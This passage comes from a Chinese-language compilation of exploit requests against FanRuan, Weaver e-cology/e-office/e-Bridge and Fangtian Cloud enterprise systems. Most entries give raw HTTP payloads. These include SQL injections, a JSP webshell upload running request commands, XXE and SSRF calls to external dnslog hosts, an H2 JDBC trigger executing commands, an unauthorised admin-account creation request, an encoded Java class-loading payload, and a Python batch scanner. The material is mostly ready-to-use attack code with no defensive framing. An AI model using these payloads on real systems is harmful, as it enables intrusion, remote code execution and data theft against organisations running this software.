D%65%28%22%73%75%6E%2E%6D%69%73%63%2E%55%6E%73%61%66%65%22%29%3B%6A%61%76%61%2E%6
C%61%6E%67%2E%72%65%66%6C%65%63%74%2E%46%69%65%6C%64%20%73%61%66%65%43%6F%6E%20%3
D%20%73%61%66%65%2E%67%65%74%44%65%63%6C%61%72%65%64%46%69%65%6C%64%28%22%74%68%6
5%55%6E%22%20%2B%20%22%73%61%66%65%22%29%3B%73%61%66%65%43%6F%6E%2E%73%65%74%41%6
3%63%65%73%73%69%62%6C%65%28%74%72%75%65%29%3B%73%75%6E%2E%6D%69%73%63%2E%55%6E%7
3%61%66%65%20%75%6E%53%61%66%65%20%3D%20%28%73%75%6E%2E%6D%69%73%63%2E%55%6E%73%6
1%66%65%29%20%73%61%66%65%43%6F%6E%2E%67%65%74%28%6E%75%6C%6C%29%3B%62%79%74%65%5
B%5D%20%64%61%74%61%42%79%74%65%73%20%3D%20%6A%61%76%61%78%2E%78%6D%6C%2E%62%69%6
E%64%2E%44%61%74%61%74%79%70%65%43%6F%6E%76%65%72%74%65%72%2E%70%61%72%73%65%42%6
1%73%65%36%34%42%69%6E%61%72%79%28%72%65%71%75%65%73%74%2E%67%65%74%50%61%72%61%6
D%65%74%65%72%28%22%64%61%74%61%22%29%29%3B%75%6E%53%61%66%65%2E%64%65%66%69%6E%6
5%41%6E%6F%6E%79%6D%6F%75%73%43%6C%61%73%73%28%6A%61%76%61%2E%69%6F%2E%46%69%6C%6
5%2E%63%6C%61%73%73%2C%20%64%61%74%61%42%79%74%65%73%2C%20%6E%75%6C%6C%29%2E%6E%6
5%77%49%6E%73%74%61%6E%63%65%28%29%3B%25%3E%27%29%3B'),1,1)} HTTP/1.1
host: xxxx
connection: close
content-type: application/x-www-form-urlencoded
x-forwarded-for: xxxx
accept-encoding: gzip, deflate
user-agent: python-requests/2.31.0
accept: */*
```

帆软报表 channel 远程命令执行漏洞

- 漏洞类型：nday - RCE
- 涉及版本：<10.0.19.42 & <11.0.28
- 利用路径：/webroot/decision/remote/design/channel

- 漏洞详情：

```
POST /webroot/decision/remote/design/channel HTTP/1.1
Content-Type: application/json
Host:
cmd: id
Connection: close

{{gzip(file(fine10.bin))}}
```

泛微

泛微Ecology任意文件写入

- 漏洞类型：1day - RCE
- 涉及版本：8.0（10.65以下）9.0（10.62以下）
- 利用路径：未知
- 漏洞详情：

```
未知
```

泛微E-office-10接口leave_record.php存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：10
- 利用路径：/eoffice10/server/ext/system_support/leave_record.php
- 漏洞详情：

```
GET /eoffice10/server/ext/system_support/leave_record.php?flow_id=1%27+AND+%28SELECT+4196+FROM+%28SELECT%28SLEEP%285%29%29%29LWzs%29+AND+%27zfNf%27%3D%27zfNf&run_id=1&table_field=1&table_field_name=user()&max_rows=10 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```

泛微e-cology 9 WorkflowServiceXml SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/services/WorkflowServiceXml

- 漏洞详情：

```
POST /services/WorkflowServiceXml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0)
Gecko/20100101 Firefox/125.0
Content-Length: 422
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="http://webservices.workflow.weaver">
<soapenv:Header/>
<soapenv:Body>
<web:getHendledWorkflowRequestList>
<web:in0>1</web:in0>
<web:in1>1</web:in1>
<web:in2>1</web:in2>
<web:in3>1</web:in3>
<web:in4>
<web:string>1=1 AND 2=2</web:string>
</web:in4>
</web:getHendledWorkflowRequestList>
</soapenv:Body>
</soapenv:Envelope>
```

泛微云桥注入getshell

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

泛微E-Mobile移动管理平台installOperate.do存在SSRF漏洞

- 漏洞类型：nday - SSRF
- 涉及版本：未知
- 利用路径：/install/installOperate.do
- 漏洞详情：

```
未知
```

泛微e-cology9 存在SSRF漏洞

- 漏洞类型：nday - SSRF
- 涉及版本：9
- 利用路径：/api/doc/mobile/fileview/getFileViewUrl
- 漏洞详情：

```
POST /api/doc/mobile/fileview/getFileViewUrl HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/108.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Upgrade-Insecure-Requests: 1

{
    "file_id": "1000",
    "file_name": "c",
    "download_url":"http://euixlkewfg.dgrh3.cn"
}
```

泛微e-cology9接口WorkPlanService前台SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/services/WorkPlanService
- 漏洞详情：

```
POST /services/WorkPlanService HTTP/1.1
Content-Length: 430
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,i
mage/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: 192.168.52.168
Referer: http://192.168.52.168:80/services/WorkPlanService
Cookie: ecology_JSessionid=aaawzto5mqug94J9Fz0cz
Connection: close

<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="webservices.workplan.weaver.com.cn">
<soapenv:Header/>
```

```
<soapenv:Body>
<web:deleteWorkPlan>
<!--type: string-->
<web:in0>(SELECT 8544 FROM
(SELECT(SLEEP(3-(IF(27=27,0,5)))))NZeo)</web:in0>
<!--type: int-->
<web:in1>22</web:in1>
</web:deleteWorkPlan>
</soapenv:Body>
</soapenv:Envelope>
```

泛微ecology SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/services/DocService
- 漏洞详情：

```
未知
```

泛微ecology SSRF漏洞

- 漏洞类型：0day - SSRF
- 涉及版本：未知
- 利用路径：/services/DocService
- 漏洞详情：

```
未知
```

泛微OA E-Office V10 OfficeServer 任意文件上传

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/eoffice10/server/public/iWebOffice2015/OfficeServer.php
- 漏洞详情：

```
/eoffice10/server/public/iWebOffice2015/OfficeServer.php
User - Agent':'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0'
Content - Length':'393'
Content - Type': 'multipart / form - data;
boundary = ----WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Accept - Encoding': 'gzip, deflate'
Connection':'close

------WebKitFormBoundaryJjb5ZAJOOXO7fwjs
Content-Disposition': 'form-data; name="FileData"; filename="1.jpg"
Content-Type': 'image/jpeg
```

```
<?php phpinfo();unlink(__FILE__);?>
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs",
Content-Disposition': 'form-data; name="FormData"
{'USERNAME':'','RECORDID':'undefined','OPTION':'SAVEFILE','FILENAME':'test12.php'
}"
------WebKitFormBoundaryJjb5ZAJOOXO7fwjs--
```

泛微E-cology9 browserjsp SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/mobile/%20/plugin/browser.jsp
- 漏洞详情：

```
import argparse
import requests
from termcolor import colored
import signal

requests.packages.urllib3.disable_warnings()
output_file = None

def check_url(url, output=None):
    headers = {
        "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "zh-CN,zh;q=0.9",
        "Connection": "close"
    }
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'https://127.0.0.1:8080'
    }

    data = {
        "isDis": "1",
        "browserTypeId": "269",
        "keyword":
"%25%32%35%25%33%36%25%33%31%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%3
0%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%3
9%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%3
0%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%3
3%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%3
4%25%32%35%25%33%32%25%33%30%25%32%35%25%33%33%25%33%31%25%32%35%25%33%32%25%36%3
3%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%3
2%25%32%35%25%33%32%25%33%38%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%3
5%25%32%35%25%33%34%25%36%33%25%32%35%25%33%34%25%33%35%25%32%35%25%33%34%25%33%3
3%25%32%35%25%33%35%25%33%34%25%32%35%25%33%32%25%33%30%25%32%35%25%33%34%25%33%3
0%25%32%35%25%33%34%25%33%30%25%32%35%25%33%35%25%33%36%25%32%35%25%33%34%25%33%3
5%25%32%35%25%33%35%25%33%32%25%32%35%25%33%35%25%33%33%25%32%35%25%33%34%25%33%3
9%25%32%35%25%33%34%25%36%36%25%32%35%25%33%34%25%36%35%25%32%35%25%33%32%25%33%3
9%25%32%35%25%33%32%25%36%32%25%32%35%25%33%32%25%33%37"
    }

    try:
        modified_url = url + '/mobile/%20/plugin/browser.jsp'
        response = requests.post(modified_url, data=data, headers=headers,
verify=False, timeout=3)
        content = response.text

        if "show2" in content:
            result = colored(url + " 存在", 'red')

            if output:
                with open(output, 'a') as file:  # 以追加模式打开文件
                    file.write(url + '\n')

            print(result)  # 即时打印结果
        else:
            result = url + " 不存在"
            print(result)  # 即时打印结果

    except requests.exceptions.RequestException as e:
        pass  # 不进行任何操作，直接请求下一个URL


def check_urls_from_file(filename, output=None):
    with open(filename, 'r') as file:
        url_list = file.read().strip().split('\n')

    for url in url_list:
        check_url(url, output)

        # 捕获中断信号
        signal.signal(signal.SIGINT, handle_interrupt)


def handle_interrupt(signum, frame):
    global output_file

    # 在捕获中断时保存当前扫描结果，并关闭文件
    if output_file:
        output_file.close()
    print("\n扫描已中断并保存当前结果。")
    exit()


def main():
    global output_file

    parser = argparse.ArgumentParser(description='CNVD-2023-12632检测POC')
    parser.add_argument('-u', '--url', help='检测单个URL')
    parser.add_argument('-r', '--file', help='从文本中批量检测URL')
    parser.add_argument('-o', '--output', help='将检测到的输出到文本中')
    args = parser.parse_args()

    if args.output:
        output_file = open(args.output, 'a')  # 以追加模式打开输出文件

    if args.url:
        check_url(args.url, args.output)
    elif args.file:
        check_urls_from_file(args.file, args.output)
    else:
        parser.print_help()

    # 注册捕获中断信号的处理程序
    signal.signal(signal.SIGINT, handle_interrupt)

    # 关闭输出文件
    if output_file:
        output_file.close()
```

泛微 ecology9 OA 系统SQL注入老洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：weaver/weaver.email.FileDownloadLocation
- 漏洞详情：

```
weaver/weaver.email.FileDownloadLocation?download=1&fileid=-2%20or%201=1
```

泛微HrmService存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/services/HrmService
- 漏洞详情：

```
POST /services/HrmService HTTP/1.1
Upgrade-Insecure-Requests: 1
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/123.0.6312.88 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: close
SOAPAction: urn:weaver.hrm.webservice.HrmService.getHrmDepartmentInfo
Content-Type: text/xml;charset=UTF-8
Host:
Content-Length: 427
X-Forwarded-For: 127.0.0.1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:hrm="http://localhost/services/HrmService">
   <soapenv:Header/>
   <soapenv:Body>
      <hrm:getHrmDepartmentInfo>
         <!--type: string-->
         <hrm:in0>gero et</hrm:in0>
         <!--type: string-->
         <hrm:in1>1)AND(db_name()like'ec%'</hrm:in1>
      </hrm:getHrmDepartmentInfo>
   </soapenv:Body>
</soapenv:Envelope>
```

泛微ecology系统setup接口存在信息泄露漏洞

- 漏洞类型：nday - 信息泄露
- 涉及版本：未知
- 利用路径：/cloudstore/ecode/setup/ecology_dev.zip
- 漏洞详情：

```
GET /cloudstore/ecode/setup/ecology_dev.zip HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
```

泛微 E-Cology XmlRpcServlet 文件读取漏洞

- 漏洞类型：1day - 任意文件读取
- 涉及版本：未知
- 利用路径：/weaver/org.apache.xmlrpc.webserver.XmlRpcServlet
- 漏洞详情：

```
POST /weaver/org.apache.xmlrpc.webserver.XmlRpcServlet HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)
AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/xml
Accept-Encoding: gzip
```

```
Content-Length: 216

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>WorkflowService.getAttachment</methodName>
<params>
<param>
<value><string>c://windows/win.ini</string></value>
</param>
</params>
</methodCall>
```

泛微 e-cology ReceiveCCRequestByXml 接口XXE漏洞

- 漏洞类型：1day - XXE
- 涉及版本：未知
- 利用路径：/rest/ofs/ReceiveCCRequestByXml
- 漏洞详情：

```
POST /rest/ofs/ReceiveCCRequestByXml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,like
Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/xml

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://dnslog.cn">
<M><syscode>&send;</syscode></M>
```

泛微云桥 e-Bridge addResume任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/wxclient/app/recruit/resume/addResume
- 漏洞详情：

```
POST /wxclient/app/recruit/resume/addResume?fileElementld=111 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundaryDOVhr5SwLI1wpry7

------WebKitFormBoundaryDOVhr5SwLI1wpry7
Content-Disposition: form-data; name="file";filename="1.jsp"

<%Runtime.getRuntime().exec(request.getParameter("i"));%>
------WebKitFormBoundaryDOVhr5SwLI1wpry7--
Content-Disposition: form-data; name="file";filename="2.jsp"

1
```

```
------WebKitFormBoundaryDOVhr5SwLI1wpry7--
```

泛微E-Cology系统接口deleteRequestInfoByXml存在XXE漏洞

- 漏洞类型：nday - XXE
- 涉及版本：未知
- 利用路径：/rest/ofs/deleteRequestInfoByXml
- 漏洞详情：

```
POST /rest/ofs/deleteRequestInfoByXml HTTP/1.1
Host:
Content-Type: application/xml
Content-Length: 131

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE syscode SYSTEM "http://hsdtcwwetk.dgrh3.cn">
<M><syscode>&send;</syscode></M>
```

泛微 e-office 10 schema_mysql.sql敏感信息泄露漏洞

- 漏洞类型：0day - 信息泄露
- 涉及版本：未知
- 利用路径：/eoffice10/empty_scene/db/schema_mysql.sql
- 漏洞详情：

```
GET /eoffice10/empty_scene/db/schema_mysql.sql HTTP/1.1
Host:
Pragma:no-cache
Cache-Control:no-cache
Upgrade-Insecure-Requests:1
User-Agent:Mozilla/5.0(Macintosh;IntelMacOSX10_15_7)AppleWebKit/537.36(KHTML,likeGecko)Chrome/120.0.0.0Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding:gzip,deflate
Accept-Language:zh-CN,zh;q=0.9,en;q=0.8
Connection:close
Content-Type:application/x-www-form-urlencoded
Content-Length:70
```

泛微e-cology workplanservice SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/services/WorkPlanService
- 漏洞详情：

```
POST /services/WorkPlanService HTTP/1.1
HOST:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/124.0.6367.118 Safari/537.36
Content-Type: text/xml;charset=UTF-8
Connection: close

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="webservices.workplan.weaver.com.cn">
<soapenv:Header/> <soapenv:Body>
<web:deleteWorkPlan>
<!--type: string--> <web:in0>(SELECT 8544 FROM
(SELECT(SLEEP(3-(IF(27=27,0,5)))))NZeo)</web:in0> <!--type: int-->
<web:in1>22</web:in1> </web:deleteWorkPlan>
</soapenv:Body> </soapenv:Envelope>
```

泛微运维平台存在任意管理员用户创建漏洞

- 漏洞类型：1day - 越权漏洞
- 涉及版本：未知
- 利用路径：/cp/hookenAddUser.json
- 漏洞详情：

```
POST /cp/hookenAddUser.json HTTP/1.1
Host: 127.0.0.1:9081
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Referer: http://127.0.0.1:9081/
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=aaaEIkqSaYEMfgL35g59y;
ecology_JSessionid=aaaEIkqSaYEMfgL35g59y; __randcode__=5fa7e1e0-d222-4bab-9744-
2084a8667fa7; MJSESSIONID=abcQIjujB49rSg3OI5Ibz
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Origin: http://127.0.0.1
Content-Length: 2
{"name":"ceshi","loginName":"BSWmjrqVrLui9nerRfFQFvtS1gbNbLDzYLembVIDnoeDn/h9Wo1a
/zWCagouwDNGWIQyzueNs7+rai3mBvRuuJNRHtC/FoLpWIDLqiV9xkN9U/2hLHpVprnJcHQhjTx/79uP3
wGHyhd95yjJgbXiocgfSWOwBJu4nUdQvX7p8O6NlD47FKDLFzeMAILaei4oDV7qqWdzF6tC+1fWAkdISD
JYwkjTYZ0Vwb7qIq8dCj+7Juim4/I4xREPB86JhVuyQ4g5tTjvpmziUeby4uLfJJjDXCC3Gk2FrOOjNvZ
T+2Qk3xaqFvJ04rnn0eNL5XlFBXfpPa2WAbmJqEEUKy6NEw==","paw":"EaPqo3LKSnvE1FkfvPODn9Q
zNWGb24BGfvNRn0ScJ2w2bEY02TlJGaPQOo/1SmIpYkEplA4s69aWPsDQUlwDyZjnJHRa1VVgJAxkDYUh
tiH5YJbLKmOwYMYqYygxQ0VaH6trV3jqQaLert+KuToc6YDA4cE4bTxEvPHbsuRTAJpQyibkDYVRRUjeT
tgr/gUyiOHOOcbZnyDT2RGGdZNxeFkejU0/78vR5BpZ6DKSmmbPzQ4WGfgFtG4I4It3vy42wSorBatBFR
p/sOZywIOzleVVs3IWLAQinKyythq9WjZXg7kxojge52njMdydaeTlH5zJMGtKFG/h1C8LRQax4Q==","
roleid":"admin"}
```

泛微ecology9 ModeDateService接口存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/services/ModeDateService
- 漏洞详情：

```
去年的洞
```

泛微ecology系统接口BlogService存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/services/BlogService
- 漏洞详情：

```
POST /services/BlogService HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0)
Gecko/20100101 Firefox/106.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie:
Upgrade-Insecure-Requests: 1
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: 192.168.3.139
Content-Length: 493

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:web="webservices.blog.weaver.com.cn">
   <soapenv:Header/>
   <soapenv:Body>
      <web:writeBlogReadFlag>
         <web:string>1</web:string>
         <web:string>注入点</web:string>
         <web:string></web:string>
      </web:writeBlogReadFlag>
   </soapenv:Body>
</soapenv:Envelope>
```

泛微e-cology-v10远程代码执行漏洞-获取serviceTicketId

- 漏洞类型：1day - 未授权访问
- 涉及版本：未知
- 利用路径：/papi/passport/rest/appThirdLogin

- 漏洞详情：

```
POST /papi/passport/rest/appThirdLogin HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

username=sysadmin&service=1&ip=1&loginType=third
```

泛微e-cology-v10远程代码执行漏洞-获取ETEAMSID

- 漏洞类型：1day - 未授权访问
- 涉及版本：未知
- 利用路径：/papi/passport/login/generateEteamsId
- 漏洞详情：

```
POST /papi/passport/login/generateEteamsId HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

stTicket=ST-591-hEd3zpL4xVLMTe9hJ0wR-http://10.0.0.1
```

泛微e-cology-v10远程代码执行漏洞-加载org.h2.Driver

- 漏洞类型：1day - 未授权访问
- 涉及版本：未知
- 利用路径：/api/bs/iaauthclient/base/save
- 漏洞详情：

```
POST /api/bs/iaauthclient/base/save HTTP/1.1
Host: 
Content-Length: 86
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://ip
Referer: http://ip/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ETEAMSID: THIRD_def423a1574e66bbdb29bc647cd8ccf6
{"isUse":1,"auth_type":"custom","iaAuthclientCustomDTO":{"ruleClass":"org.h2.Driver"}}
```

泛微e-cology-v10远程代码执行漏洞-执行命令

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/api/dw/connSetting/testConnByBasePassword
- 漏洞详情：

```
POST /api/dw/connSetting/testConnByBasePassword HTTP/1.1
Host:
Content-Length: 199
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://ip
Referer: http://ip/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ETEAMSID: THIRD_18cd45709040d63b6b684d94b5773deb

{"dbType":"mysql5","dbUrl":"jdbc:h2:mem:test;MODE=MSSQLServer;init = CREATE
TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$
//javascript\njava.lang.Runtime.getRuntime().exec(\"{cmd}\")$$"}
```

泛微ecology9系统接口ModeDateService存在SQL漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/services/ModeDateService
- 漏洞详情：

```
POST /services/ModeDateService HTTP/1.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://xxx//services/Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ecology_JSessionid=aaasJ-HspHcxI5r2Krufz; JSESSIONID=aaasJ-
HspHcxI5r2Krufz
Connection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8
Host: xxx
Content-Length: 405
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:mod="http://localhost/services/ModeDateService">
   <soapenv:Header/>
   <soapenv:Body>
      <mod:getAllModeDataCount>
        <mod:in0>1</mod:in0>
        <mod:in1>1</mod:in1>
        <mod:in2>1=1</mod:in2>
        <mod:in3>1</mod:in3>
      </mod:getAllModeDataCount>
  </soapenv:Body>
</soapenv:Envelope>
```

方天

方天云智慧平台系统 GetCompanyItem SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/AjaxMethods.asmx/GetCompanyItem
- 漏洞详情：

```
POST /AjaxMethods.asmx/GetCompanyItem HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Connection: close

{cusNumber:"1' and 1=@@version--+"}
```

方天云智慧平台系统 GetCustomerLinkman SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/WXAPI.asmx/GetCustomerLinkman
- 漏洞详情：

```
POST /WXAPI.asmx/GetCustomerLinkman HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: application/json

{clmID:"1 UNION ALL SELECT NULL,NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- QurA"}
```

方天云智慧平台系统 Upload.ashx 任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/Upload.ashx
- 漏洞详情：

```
POST /Upload.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySl8siBbmVicABvTX
Connection: close

------WebKitFormBoundarySl8siBbmVicABvTX
Content-Disposition: form-data; name="file"; filename="qwe.aspx"
Content-Type: image/jpeg

<%@Page Language="C#"%>
<%Response.Write("hello");System.IO.File.Delete(Request.PhysicalPath);%>
------WebKitFormBoundarySl8siBbmVicABvTX--
----------------------------------------------------------------------------------------------------------------------
/UploadFile/CustomerFile/回显的路径
```

方天云

方天云智慧平台系统 Upload.ashx 任意文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/Upload.ashx
- 漏洞详情：

```
POST /Upload.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySl8siBbmVicABvTX
Connection: close
Content-Length: 232

------WebKitFormBoundarySl8siBbmVicABvTX
Content-Disposition: form-data; name="file"; filename="test.asmx" Content-Type: image/jpeg
<%@Page Language="C#"%><%Response.Write(now())%>
------WebKitFormBoundarySl8siBbmVicABvTX--
```

方天云ERP系统SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：未知
- 利用路径：/AjaxMethods.asmx/GetSalQuatation
- 漏洞详情：

```
POST /AjaxMethods.asmx/GetSalQuatation HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101
Firefox/126.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Connection: close

{ID:""(SELECT CHAR(113)+CHAR(120)+CHAR(122)+CHAR(112)+CHAR(113)+(CASE WHEN
(8725=8725) THEN @@VERSION ELSE CHAR(48)
END)+CHAR(113)+CHAR(122)+CHAR(118)+CHAR(106)+CHAR(113))""}"
```

方天云-智慧平台系统-任意文件上传

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/Data/setImg.ashx
- 漏洞详情：

```
POST /Data/setImg.ashx HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101
Firefox/99.0
